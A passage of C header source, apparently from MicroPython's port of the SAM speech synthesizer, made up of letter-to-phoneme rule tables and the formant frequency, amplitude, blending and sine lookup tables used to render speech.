','(','G',')',' ', '=','J','I','Y','4'|0x80, '(','G','I','V',')', '=','G','I','H','5','V'|0x80, ' ','(','G',')','I','^', '=','G'|0x80, '(','G','E',')','T', '=','G','E','H','5'|0x80, 'S','U','(','G','G','E','S',')', '=','G','J','E','H','4','S'|0x80, '(','G','G',')', '=','G'|0x80, ' ','B','#','(','G',')', '=','G'|0x80, '(','G',')','+', '=','J'|0x80, '(','G','R','E','A','T',')', '=','G','R','E','Y','4','T'|0x80, '(','G','O','N',')','E', '=','G','A','O','5','N'|0x80, '#','(','G','H',')','='|0x80, ' ','(','G','N',')', '=','N'|0x80, '(','G',')', '=','G'|0x80, ']','H'|0x80, ' ','(','H',')',' ', '=','E','Y','4','C','H'|0x80, ' ','(','H','A','V',')', '=','/','H','A','E','6','V'|0x80, ' ','(','H','E','R','E',')', '=','/','H','I','Y','R'|0x80, ' ','(','H','O','U','R',')', '=','A','W','5','E','R'|0x80, '(','H','O','W',')', '=','/','H','A','W'|0x80, '(','H',')','#', '=','/','H'|0x80, '(','H',')','='|0x80, ']','I'|0x80, ' ','(','I','N',')', '=','I','H','N'|0x80, ' ','(','I',')',' ', '=','A','Y','4'|0x80, '(','I',')',' ', '=','A','Y'|0x80, '(','I','N',')','D', '=','A','Y','5','N'|0x80, 'S','E','M','(','I',')', '=','I','Y'|0x80, ' ','A','N','T','(','I',')', '=','A','Y'|0x80, '(','I','E','R',')', '=','I','Y','E','R'|0x80, '#',':','R','(','I','E','D',')',' ', '=','I','Y','D'|0x80, '(','I','E','D',')',' ', '=','A','Y','5','D'|0x80, '(','I','E','N',')', '=','I','Y','E','H','N'|0x80, '(','I','E',')','T', '=','A','Y','4','E','H'|0x80, '(','I','\'',')', '=','A','Y','5'|0x80, ' ',':','(','I',')','^','%', '=','A','Y','5'|0x80, ' ',':','(','I','E',')',' ', '=','A','Y','4'|0x80, '(','I',')','%', '=','I','Y'|0x80, '(','I','E',')', '=','I','Y','4'|0x80, ' ','(','I','D','E','A',')', '=','A','Y','D','I','Y','5','A','H'|0x80, '(','I',')','^','+',':','#', '=','I','H'|0x80, '(','I','R',')','#', '=','A','Y','R'|0x80, '(','I','Z',')','%', '=','A','Y','Z'|0x80, '(','I','S',')','%', '=','A','Y','Z'|0x80, 'I','^','(','I',')','^','#', '=','I','H'|0x80, '+','^','(','I',')','^','+', '=','A','Y'|0x80, '#',':','^','(','I',')','^','+', '=','I','H'|0x80, '(','I',')','^','+', '=','A','Y'|0x80, '(','I','R',')', '=','E','R'|0x80, '(','I','G','H',')', '=','A','Y','4'|0x80, '(','I','L','D',')', '=','A','Y','5','L','D'|0x80, ' ','(','I','G','N',')', '=','I','H','G','N'|0x80, '(','I','G','N',')',' ', '=','A','Y','4','N'|0x80, '(','I','G','N',')','^', '=','A','Y','4','N'|0x80, '(','I','G','N',')','%', '=','A','Y','4','N'|0x80, '(','I','C','R','O',')', '=','A','Y','4','K','R','O','H'|0x80, '(','I','Q','U','E',')', '=','I','Y','4','K'|0x80, '(','I',')', '=','I','H'|0x80, ']','J'|0x80, ' ','(','J',')',' ', '=','J','E','Y','4'|0x80, '(','J',')', '=','J'|0x80, ']','K'|0x80, ' ','(','K',')',' ', '=','K','E','Y','4'|0x80, ' ','(','K',')','N','='|0x80, '(','K',')', '=','K'|0x80, ']','L'|0x80, ' ','(','L',')',' ', '=','E','H','4','L'|0x80, '(','L','O',')','C','#', '=','L','O','W'|0x80, 'L','(','L',')','='|0x80, '#',':','^','(','L',')','%', '=','U','L'|0x80, '(','L','E','A','D',')', '=','L','I','Y','D'|0x80, ' ','(','L','A','U','G','H',')', '=','L','A','E','4','F'|0x80, '(','L',')', '=','L'|0x80, ']','M'|0x80, ' ','(','M',')',' ', '=','E','H','4','M'|0x80, ' ','(','M','R','.',')',' ', '=','M','I','H','4','S','T','E','R'|0x80, ' ','(','M','S','.',')', '=','M','I','H','5','Z'|0x80, ' ','(','M','R','S','.',')',' ', '=','M','I','H','4','S','I','X','Z'|0x80, '(','M','O','V',')', '=','M','U','W','4','V'|0x80, '(','M','A','C','H','I','N',')', '=','M','A','H','S','H','I','Y','5','N'|0x80, 'M','(','M',')','='|0x80, '(','M',')', '=','M'|0x80, ']','N'|0x80, ' ','(','N',')',' ', '=','E','H','4','N'|0x80, 'E','(','N','G',')','+', '=','N','J'|0x80, '(','N','G',')','R', '=','N','X','G'|0x80, '(','N','G',')','#', '=','N','X','G'|0x80, '(','N','G','L',')','%', '=','N','X','G','U','L'|0x80, '(','N','G',')', '=','N','X'|0x80, '(','N','K',')', '=','N','X','K'|0x80, ' ','(','N','O','W',')',' ', '=','N','A','W','4'|0x80, 'N','(','N',')','='|0x80, '(','N','O','N',')','E', '=','N','A','H','4','N'|0x80, '(','N',')', '=','N'|0x80, ']','O'|0x80, ' ','(','O',')',' ', '=','O','H','4','W'|0x80, '(','O','F',')',' ', '=','A','H','V'|0x80, ' ','(','O','H',')',' ', '=','O','W','5'|0x80, '(','O','R','O','U','G','H',')', '=','E','R','4','O','W'|0x80, '#',':','(','O','R',')',' ', '=','E','R'|0x80, '#',':','(','O','R','S',')',' ', '=','E','R','Z'|0x80, '(','O','R',')', '=','A','O','R'|0x80, ' ','(','O','N','E',')', '=','W','A','H','N'|0x80, '#','(','O','N','E',')',' ', '=','W','A','H','N'|0x80, '(','O','W',')', '=','O','W'|0x80, ' ','(','O','V','E','R',')', '=','O','W','5','V','E','R'|0x80, 'P','R','(','O',')','V', '=','U','W','4'|0x80, '(','O','V',')', '=','A','H','4','V'|0x80, '(','O',')','^','%', '=','O','W','5'|0x80, '(','O',')','^','E','N', '=','O','W'|0x80, '(','O',')','^','I','#', '=','O','W','5'|0x80, '(','O','L',')','D', '=','O','W','4','L'|0x80, '(','O','U','G','H','T',')', '=','A','O','5','T'|0x80, '(','O','U','G','H',')', '=','A','H','5','F'|0x80, ' ','(','O','U',')', '=','A','W'|0x80, 'H','(','O','U',')','S','#', '=','A','W','4'|0x80, '(','O','U','S',')', '=','A','X','S'|0x80, '(','O','U','R',')', '=','O','H','R'|0x80, '(','O','U','L','D',')', '=','U','H','5','D'|0x80, '(','O','U',')','^','L', '=','A','H','5'|0x80, '(','O','U','P',')', '=','U','W','5','P'|0x80, '(','O','U',')', '=','A','W'|0x80, '(','O','Y',')', '=','O','Y'|0x80, '(','O','I','N','G',')', '=','O','W','4','I','H','N','X'|0x80, '(','O','I',')', '=','O','Y','5'|0x80, '(','O','O','R',')', '=','O','H','5','R'|0x80, '(','O','O','K',')', '=','U','H','5','K'|0x80, 'F','(','O','O','D',')', '=','U','W','5','D'|0x80, 'L','(','O','O','D',')', '=','A','H','5','D'|0x80, 'M','(','O','O','D',')', '=','U','W','5','D'|0x80, '(','O','O','D',')', '=','U','H','5','D'|0x80, 'F','(','O','O','T',')', '=','U','H','5','T'|0x80, '(','O','O',')', '=','U','W','5'|0x80, '(','O','\'',')', '=','O','H'|0x80, '(','O',')','E', '=','O','W'|0x80, '(','O',')',' ', '=','O','W'|0x80, '(','O','A',')', '=','O','W','4'|0x80, ' ','(','O','N','L','Y',')', '=','O','W','4','N','L','I','Y'|0x80, ' ','(','O','N','C','E',')', '=','W','A','H','4','N','S'|0x80, '(','O','N','\'','T',')', '=','O','W','4','N','T'|0x80, 'C','(','O',')','N', '=','A','A'|0x80, '(','O',')','N','G', '=','A','O'|0x80, ' ',':','^','(','O',')','N', '=','A','H'|0x80, 'I','(','O','N',')', '=','U','N'|0x80, '#',':','(','O','N',')', '=','U','N'|0x80, '#','^','(','O','N',')', '=','U','N'|0x80, '(','O',')','S','T', '=','O','W'|0x80, '(','O','F',')','^', '=','A','O','4','F'|0x80, '(','O','T','H','E','R',')', '=','A','H','5','D','H','E','R'|0x80, 'R','(','O',')','B', '=','R','A','A'|0x80, '^','R','(','O',')',':','#', '=','O','W','5'|0x80, '(','O','S','S',')',' ', '=','A','O','5','S'|0x80, '#',':','^','(','O','M',')', '=','A','H','M'|0x80, '(','O',')', '=','A','A'|0x80, ']','P'|0x80, ' ','(','P',')',' ', '=','P','I','Y','4'|0x80, '(','P','H',')', '=','F'|0x80, '(','P','E','O','P','L',')', '=','P','I','Y','5','P','U','L'|0x80, '(','P','O','W',')', '=','P','A','W','4'|0x80, '(','P','U','T',')',' ', '=','P','U','H','T'|0x80, '(','P',')','P','='|0x80, '(','P',')','S','='|0x80, '(','P',')','N','='|0x80, '(','P','R','O','F','.',')', '=','P','R','O','H','F','E','H','4','S','E','R'|0x80, '(','P',')', '=','P'|0x80, ']','Q'|0x80, ' ','(','Q',')',' ', '=','K','Y','U','W','4'|0x80, '(','Q','U','A','R',')', '=','K','W','O','H','5','R'|0x80, '(','Q','U',')', '=','K','W'|0x80, '(','Q',')', '=','K'|0x80, ']','R'|0x80, ' ','(','R',')',' ', '=','A','A','5','R'|0x80, ' ','(','R','E',')','^','#', '=','R','I','Y'|0x80, '(','R',')','R','='|0x80, '(','R',')', '=','R'|0x80, ']','S'|0x80, ' ','(','S',')',' ', '=','E','H','4','S'|0x80, '(','S','H',')', '=','S','H'|0x80, '#','(','S','I','O','N',')', '=','Z','H','U','N'|0x80, '(','S','O','M','E',')', '=','S','A','H','M'|0x80, '#','(','S','U','R',')','#', '=','Z','H','E','R'|0x80, '(','S','U','R',')','#', '=','S','H','E','R'|0x80, '#','(','S','U',')','#', '=','Z','H','U','W'|0x80, '#','(','S','S','U',')','#', '=','S','H','U','W'|0x80, '#','(','S','E','D',')', '=','Z','D'|0x80, '#','(','S',')','#', '=','Z'|0x80, '(','S','A','I','D',')', '=','S','E','H','D'|0x80, '^','(','S','I','O','N',')', '=','S','H','U','N'|0x80, '(','S',')','S','='|0x80, '.','(','S',')',' ', '=','Z'|0x80, '#',':','.','E','(','S',')',' ', '=','Z'|0x80, '#',':','^','#','(','S',')',' ', '=','S'|0x80, 'U','(','S',')',' ', '=','S'|0x80, ' ',':','#','(','S',')',' ', '=','Z'|0x80, '#','#','(','S',')',' ', '=','Z'|0x80, ' ','(','S','C','H',')', '=','S','K'|0x80, '(','S',')','C','+','='|0x80, '#','(','S','M',')', '=','Z','U','M'|0x80, '#','(','S','N',')','\'', '=','Z','U','M'|0x80, '(','S','T','L','E',')', '=','S','U','L'|0x80, '(','S',')', '=','S'|0x80, ']','T'|0x80, ' ','(','T',')',' ', '=','T','I','Y','4'|0x80, ' ','(','T','H','E',')',' ','#', '=','D','H','I','Y'|0x80, ' ','(','T','H','E',')',' ', '=','D','H','A','X'|0x80, '(','T','O',')',' ', '=','T','U','X'|0x80, ' ','(','T','H','A','T',')', '=','D','H','A','E','T'|0x80, ' ','(','T','H','I','S',')',' ', '=','D','H','I','H','S'|0x80, ' ','(','T','H','E','Y',')', '=','D','H','E','Y'|0x80, ' ','(','T','H','E','R','E',')', '=','D','H','E','H','R'|0x80, '(','T','H','E','R',')', '=','D','H','E','R'|0x80, '(','T','H','E','I','R',')', '=','D','H','E','H','R'|0x80, ' ','(','T','H','A','N',')',' ', '=','D','H','A','E','N'|0x80, ' ','(','T','H','E','M',')',' ', '=','D','H','A','E','N'|0x80, '(','T','H','E','S','E',')',' ', '=','D','H','I','Y','Z'|0x80, ' ','(','T','H','E','N',')', '=','D','H','E','H','N'|0x80, '(','T','H','R','O','U','G','H',')', '=','T','H','R','U','W','4'|0x80, '(','T','H','O','S','E',')', '=','D','H','O','H','Z'|0x80, '(','T','H','O','U','G','H',')',' ', '=','D','H','O','W'|0x80, '(','T','O','D','A','Y',')', '=','T','U','X','D','E','Y'|0x80, '(','T','O','M','O',')','R','R','O','W','=','T','U','M','A','A','5'|0x80, '(','T','O',')','T','A','L', '=','T','O','W','5'|0x80, ' ','(','T','H','U','S',')', '=','D','H','A','H','4','S'|0x80, '(','T','H',')', '=','T','H'|0x80, '#',':','(','T','E','D',')', '=','T','I','X','D'|0x80, 'S','(','T','I',')','#','N', '=','C','H'|0x80, '(','T','I',')','O', '=','S','H'|0x80, '(','T','I',')','A', '=','S','H'|0x80, '(','T','I','E','N',')', '=','S','H','U','N'|0x80, '(','T','U','R',')','#', '=','C','H','E','R'|0x80, '(','T','U',')','A', '=','C','H','U','W'|0x80, ' ','(','T','W','O',')', '=','T','U','W'|0x80, '&','(','T',')','E','N',' ','='|0x80, '(','T',')', '=','T'|0x80, ']','U'|0x80, ' ','(','U',')',' ', '=','Y','U','W','4'|0x80, ' ','(','U','N',')','I', '=','Y','U','W','N'|0x80, ' ','(','U','N',')', '=','A','H','N'|0x80, ' ','(','U','P','O','N',')', '=','A','X','P','A','O','N'|0x80, '@','(','U','R',')','#', '=','U','H','4','R'|0x80, '(','U','R',')','#', '=','Y','U','H','4','R'|0x80, '(','U','R',')', '=','E','R'|0x80, '(','U',')','^',' ', '=','A','H'|0x80, '(','U',')','^','^', '=','A','H','5'|0x80, '(','U','Y',')', '=','A','Y','5'|0x80, ' ','G','(','U',')','#','='|0x80, 'G','(','U',')','%','='|0x80, 'G','(','U',')','#', '=','W'|0x80, '#','N','(','U',')', '=','Y','U','W'|0x80, '@','(','U',')', '=','U','W'|0x80, '(','U',')', '=','Y','U','W'|0x80, ']','V'|0x80, ' ','(','V',')',' ', '=','V','I','Y','4'|0x80, '(','V','I','E','W',')', '=','V','Y','U','W','5'|0x80, '(','V',')', '=','V'|0x80, ']','W'|0x80, ' ','(','W',')',' ', '=','D','A','H','4','B','U','L','Y','U','W'|0x80, ' ','(','W','E','R','E',')', '=','W','E','R'|0x80, '(','W','A',')','S','H', '=','W','A','A'|0x80, '(','W','A',')','S','T', '=','W','E','Y'|0x80, '(','W','A',')','S', '=','W','A','H'|0x80, '(','W','A',')','T', '=','W','A','A'|0x80, '(','W','H','E','R','E',')', '=','W','H','E','H','R'|0x80, '(','W','H','A','T',')', '=','W','H','A','H','T'|0x80, '(','W','H','O','L',')', '=','/','H','O','W','L'|0x80, '(','W','H','O',')', '=','/','H','U','W'|0x80, '(','W','H',')', '=','W','H'|0x80, '(','W','A','R',')','#', '=','W','E','H','R'|0x80, '(','W','A','R',')', '=','W','A','O','R'|0x80, '(','W','O','R',')','^', '=','W','E','R'|0x80, '(','W','R',')', '=','R'|0x80, '(','W','O','M',')','A', '=','W','U','H','M'|0x80, '(','W','O','M',')','E', '=','W','I','H','M'|0x80, '(','W','E','A',')','R', '=','W','E','H'|0x80, '(','W','A','N','T',')', '=','W','A','A','5','N','T'|0x80, 'A','N','S','(','W','E','R',')', '=','E','R'|0x80, '(','W',')', '=','W'|0x80, ']','X'|0x80, ' ','(','X',')',' ', '=','E','H','4','K','R'|0x80, ' ','(','X',')', '=','Z'|0x80, '(','X',')', '=','K','S'|0x80, ']','Y'|0x80, ' ','(','Y',')',' ', '=','W','A','Y','4'|0x80, '(','Y','O','U','N','G',')', '=','Y','A','H','N','X'|0x80, ' ','(','Y','O','U','R',')', '=','Y','O','H','R'|0x80, ' ','(','Y','O','U',')', '=','Y','U','W'|0x80, ' ','(','Y','E','S',')', '=','Y','E','H','S'|0x80, ' ','(','Y',')', '=','Y'|0x80, 'F','(','Y',')', '=','A','Y'|0x80, 'P','S','(','Y','C','H',')', '=','A','Y','K'|0x80, '#',':','^','(','Y',')', '=','I','Y'|0x80, '#',':','^','(','Y',')','I', '=','I','Y'|0x80, ' ',':','(','Y',')',' ', '=','A','Y'|0x80, ' ',':','(','Y',')','#', '=','A','Y'|0x80, ' ',':','(','Y',')','^','+',':','#', '=','I','H'|0x80, ' ',':','(','Y',')','^','#', '=','A','Y'|0x80, '(','Y',')', '=','I','H'|0x80, ']','Z'|0x80, ' ','(','Z',')',' ', '=','Z','I','Y','4'|0x80, '(','Z',')', '=','Z'|0x80, 'j'|0x80 }; const char rules2[] = { '(','A',')', '='|0x80, '(','!',')', '=','.'|0x80, '(','"',')',' ', '=','-','A','H','5','N','K','W','O','W','T','-'|0x80, '(','"',')', '=','K','W','O','W','4','T','-'|0x80, '(','#',')', '=',' ','N','A','H','4','M','B','E','R'|0x80, '(','$',')', '=',' ','D','A','A','4','L','E','R'|0x80, '(','%',')', '=',' ','P','E','R','S','E','H','4','N','T'|0x80, '(','&',')', '=',' ','A','E','N','D'|0x80, '(','\'',')', '='|0x80, '(','*',')', '=',' ','A','E','4','S','T','E','R','I','H','S','K'|0x80, '(','+',')', '=',' ','P','L','A','H','4','S'|0x80, '(',',',')', '=',','|0x80, ' ','(','-',')',' ', '=','-'|0x80, '(','-',')', '='|0x80, '(','.',')', '=',' ','P','O','Y','N','T'|0x80, '(','/',')', '=',' ','S','L','A','E','4','S','H'|0x80, '(','0',')', '=',' ','Z','I','Y','4','R','O','W'|0x80, ' ','(','1','S','T',')', '=','F','E','R','4','S','T'|0x80, ' ','(','1','0','T','H',')', '=','T','E','H','4','N','T','H'|0x80, '(','1',')', '=',' ','W','A','H','4','N'|0x80, ' ','(','2','N','D',')', '=','S','E','H','4','K','U','N','D'|0x80, '(','2',')', '=',' ','T','U','W','4'|0x80, ' ','(','3','R','D',')', '=','T','H','E','R','4','D'|0x80, '(','3',')', '=',' ','T','H','R','I','Y','4'|0x80, '(','4',')', '=',' ','F','O','H','4','R'|0x80, ' ','(','5','T','H',')', '=','F','I','H','4','F','T','H'|0x80, '(','5',')', '=',' ','F','A','Y','4','V'|0x80, ' ','(','6','4',')',' ', '=','S','I','H','4','K','S','T','I','Y',' ','F','O','H','R'|0x80, '(','6',')', '=',' ','S','I','H','4','K','S'|0x80, '(','7',')', '=',' ','S','E','H','4','V','U','N'|0x80, ' ','(','8','T','H',')', '=','E','Y','4','T','H'|0x80, '(','8',')', '=',' ','E','Y','4','T'|0x80, '(','9',')', '=',' ','N','A','Y','4','N'|0x80, '(',':',')', '=','.'|0x80, '(',';',')', '=','.'|0x80, '(','<',')', '=',' ','L','E','H','4','S',' ','D','H','A','E','N'|0x80, '(','=',')', '=',' ','I','Y','4','K','W','U','L','Z'|0x80, '(','>',')', '=',' ','G','R','E','Y','4','T','E','R',' ','D','H','A','E','N'|0x80, '(','?',')', '=','?'|0x80, '(','@',')', '=',' ','A','E','6','T'|0x80, '(','^',')', '=',' ','K','A','E','4','R','I','X','T'|0x80, ']','A'|0x80 }; //26 items. From 'A' to 'Z' // positions for mem62 and mem63 for each character const unsigned char tab37489[] = { 0, 149, 247, 162, 57, 197, 6, 126, 199, 38, 55, 78, 145, 241, 85, 161, 254, 36, 69, 45, 167, 54, 83, 46, 71, 218 }; const unsigned char tab37515[] = { 125, 126, 126, 127, 128, 129, 130, 130, 130, 132, 132, 132, 132, 132, 133, 135, 135, 136, 136, 137, 138, 139, 139, 140, 140, 140 }; #endif ================================================ FILE: micropython/source/lib/sam/RenderTabs.h ================================================ #ifndef RENDERTABS_H #define RENDERTABS_H const unsigned char tab48426[5] = { 0x18, 0x1A, 0x17, 0x17, 0x17 }; const unsigned char tab47492[] = { 0 , 0 , 0xE0 , 0xE6 , 0xEC , 0xF3 , 0xF9 , 0 , 6 , 0xC , 6 }; const unsigned char amplitudeRescale[] = { 0 , 1 , 2 , 2 , 2 , 3 , 3 , 4 , 4 , 5 , 6 , 8 , 9 ,0xB ,0xD ,0xF, 0 //17 elements? }; // Used to decide which phoneme's blend lengths. The candidate with the lower score is selected. // tab45856 const unsigned char blendRank[] = { 0 , 0x1F , 0x1F , 0x1F , 0x1F , 2 , 2 , 2 , 2 , 2 , 2 , 2 , 2 , 2 , 5 , 5 , 2 ,0xA , 2 , 8 , 5 , 5 ,0xB ,0xA , 9 , 8 , 8 , 0xA0 , 8 , 8 , 0x17 , 0x1F , 0x12 , 0x12 , 0x12 , 0x12 , 0x1E , 0x1E , 0x14 , 0x14 , 0x14 , 0x14 , 0x17 , 0x17 , 0x1A , 0x1A , 0x1D , 0x1D , 2 , 2 , 2 , 2 , 2 , 2 , 0x1A , 0x1D , 0x1B , 0x1A , 0x1D , 0x1B , 0x1A , 0x1D , 0x1B , 0x1A , 0x1D , 0x1B , 0x17 , 0x1D , 0x17 , 0x17 , 0x1D , 0x17 , 0x17 , 0x1D , 0x17 , 0x17 , 0x1D , 0x17 , 0x17 , 0x17 }; // Number of frames at the end of a phoneme devoted to interpolating to next phoneme's final value //tab45696 const unsigned char outBlendLength[] = { 0 , 2 , 2 , 2 , 2 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 3 , 2 , 4 , 4 , 2 , 2 , 2 , 2 , 2 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 2 , 2 , 2 , 1 , 0 , 1 , 0 , 1 , 0 , 5 , 5 , 5 , 5 , 5 , 4 , 4 , 2 , 0 , 1 , 2 , 0 , 1 , 2 , 0 , 1 , 2 , 0 , 1 , 2 , 0 , 2 , 2 , 0 , 1 , 3 , 0 , 2 , 3 , 0 , 2 , 0xA0 , 0xA0 }; // Number of frames at beginning of a phoneme devoted to interpolating to phoneme's final value // tab45776 const unsigned char inBlendLength[] = { 0 , 2 , 2 , 2 , 2 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 3 , 3 , 4 , 4 , 3 , 3 , 3 , 3 , 3 , 1 , 2 , 3 , 2 , 1 , 3 , 3 , 3 , 3 , 1 , 1 , 3 , 3 , 3 , 2 , 2 , 3 , 2 , 3 , 0 , 0 , 5 , 5 , 5 , 5 , 4 , 4 , 2 , 0 , 2 , 2 , 0 , 3 , 2 , 0 , 4 , 2 , 0 , 3 , 2 , 0 , 2 , 2 , 0 , 2 , 3 , 0 , 3 , 3 , 0 , 3 , 0xB0 , 0xA0 }; // Looks like it's used as bit flags // High bits masked by 248 (11111000) // // 32: S* 241 11110001 // 33: SH 226 11100010 // 34: F* 211 11010011 // 35: TH 187 10111011 // 36: /H 124 01111100 // 37: /X 149 10010101 // 38: Z* 1 00000001 // 39: ZH 2 00000010 // 40: V* 3 00000011 // 41: DH 3 00000011 // 43: ** 114 01110010 // 45: ** 2 00000010 // 67: ** 27 00011011 // 70: ** 25 00011001 // tab45936 const unsigned char sampledConsonantFlags[] = { 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0xF1 , 0xE2 , 0xD3 , 0xBB , 0x7C , 0x95 , 1 , 2 , 3 , 3 , 0 , 0x72 , 0 , 2 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0x1B , 0 , 0 , 0x19 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 }; //tab45056 const unsigned char freq1data[]= { 0x00 ,0x13 ,0x13 ,0x13 ,0x13 , 0xA , 0xE ,0x12 , 0x18 ,0x1A ,0x16 ,0x14 ,0x10 ,0x14 , 0xE ,0x12 , 0xE ,0x12 ,0x12 ,0x10 , 0xC , 0xE , 0xA ,0x12 , 0xE ,0xA , 8 , 6 , 6 , 6 , 6 ,0x11 , 6 , 6 , 6 , 6 ,0xE , 0x10 , 9 ,0xA , 8 ,0xA , 6 , 6 , 6 , 5 , 6 , 0 , 0x12 , 0x1A , 0x14 , 0x1A , 0x12 ,0xC , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 ,0xA ,0xA , 6 , 6 , 6 , 0x2C , 0x13 }; unsigned char get_freq1(unsigned char pos, unsigned char mouth); //tab451356 const unsigned char freq2data[]= { 0x00 , 0x43 , 0x43 , 0x43 , 0x43 , 0x54 , 0x48 , 0x42 , 0x3E , 0x28 , 0x2C , 0x1E , 0x24 , 0x2C , 0x48 , 0x30 , 0x24 , 0x1E , 0x32 , 0x24 , 0x1C , 0x44 , 0x18 , 0x32 , 0x1E , 0x18 , 0x52 , 0x2E , 0x36 , 0x56 , 0x36 , 0x43 , 0x49 , 0x4F , 0x1A , 0x42 , 0x49 , 0x25 , 0x33 , 0x42 , 0x28 , 0x2F , 0x4F , 0x4F , 0x42 , 0x4F , 0x6E , 0x00 , 0x48 , 0x26 , 0x1E , 0x2A , 0x1E , 0x22 , 0x1A , 0x1A , 0x1A , 0x42 , 0x42 , 0x42 , 0x6E , 0x6E , 0x6E , 0x54 , 0x54 , 0x54 , 0x1A , 0x1A , 0x1A , 0x42 , 0x42 , 0x42 , 0x6D , 0x56 , 0x6D , 0x54 , 0x54 , 0x54 , 0x7F , 0x7F }; unsigned char get_freq2(unsigned char pos, unsigned char throat); //tab45216 const unsigned char freq3data[]= { 0x00 , 0x5B , 0x5B , 0x5B , 0x5B , 0x6E , 0x5D , 0x5B , 0x58 , 0x59 , 0x57 , 0x58 , 0x52 , 0x59 , 0x5D , 0x3E , 0x52 , 0x58 , 0x3E , 0x6E , 0x50 , 0x5D , 0x5A , 0x3C , 0x6E , 0x5A , 0x6E , 0x51 , 0x79 , 0x65 , 0x79 , 0x5B , 0x63 , 0x6A , 0x51 , 0x79 , 0x5D , 0x52 , 0x5D , 0x67 , 0x4C , 0x5D , 0x65 , 0x65 , 0x79 , 0x65 , 0x79 , 0x00 , 0x5A , 0x58 , 0x58 , 0x58 , 0x58 , 0x52 , 0x51 , 0x51 , 0x51 , 0x79 , 0x79 , 0x79 , 0x70 , 0x6E , 0x6E , 0x5E , 0x5E , 0x5E , 0x51 , 0x51 , 0x51 , 0x79 , 0x79 , 0x79 , 0x65 , 0x65 , 0x70 , 0x5E , 0x5E , 0x5E , 0x08 , 0x01 }; const unsigned char ampl1data[] = { 0 , 0 , 0 , 0 , 0 ,0xD ,0xD ,0xE , 0xF ,0xF ,0xF ,0xF ,0xF ,0xC ,0xD ,0xC , 0xF ,0xF ,0xD ,0xD ,0xD ,0xE ,0xD ,0xC , 0xD ,0xD ,0xD ,0xC , 9 , 9 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0xB ,0xB , 0xB ,0xB , 0 , 0 , 1 ,0xB , 0 , 2 , 0xE ,0xF ,0xF ,0xF ,0xF ,0xD , 2 , 4 , 0 , 2 , 4 , 0 , 1 , 4 , 0 , 1 , 4 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0xC , 0 , 0 , 0 , 0 ,0xF ,0xF }; const unsigned char ampl2data[] = { 0 , 0 , 0 , 0 , 0 ,0xA ,0xB ,0xD , 0xE ,0xD ,0xC ,0xC ,0xB , 9 ,0xB ,0xB , 0xC ,0xC ,0xC , 8 , 8 ,0xC , 8 ,0xA , 8 , 8 ,0xA , 3 , 9 , 6 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 3 , 5 , 3 , 4 , 0 , 0 , 0 , 5 ,0xA , 2 , 0xE ,0xD ,0xC ,0xD ,0xC , 8 , 0 , 1 , 0 , 0 , 1 , 0 , 0 , 1 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0xA , 0 , 0 ,0xA , 0 , 0 , 0 }; const unsigned char ampl3data[] = { 0 , 0 , 0 , 0 , 0 , 8 , 7 , 8 , 8 , 1 , 1 , 0 , 1 , 0 , 7 , 5 , 1 , 0 , 6 , 1 , 0 , 7 , 0 , 5 , 1 , 0 , 8 , 0 , 0 , 3 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 1 ,0xE , 1 , 9 , 1 , 0 , 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 7 , 0 , 0 , 5 , 0 , 0x13 , 0x10 }; //tab42240 const unsigned char sinus[] = { 0x00 , 0x00 , 0x00 , 0x10 , 0x10 , 0x10 , 0x10 , 0x10 , 0x10 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x70 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x60 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x50 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x40 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x30 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 , 0x20 , 0x10 , 0x10 , 0x10 , 0x10 , 0x10 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xF0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xE0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xD0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xC0 , 0xB0 , 0xB0 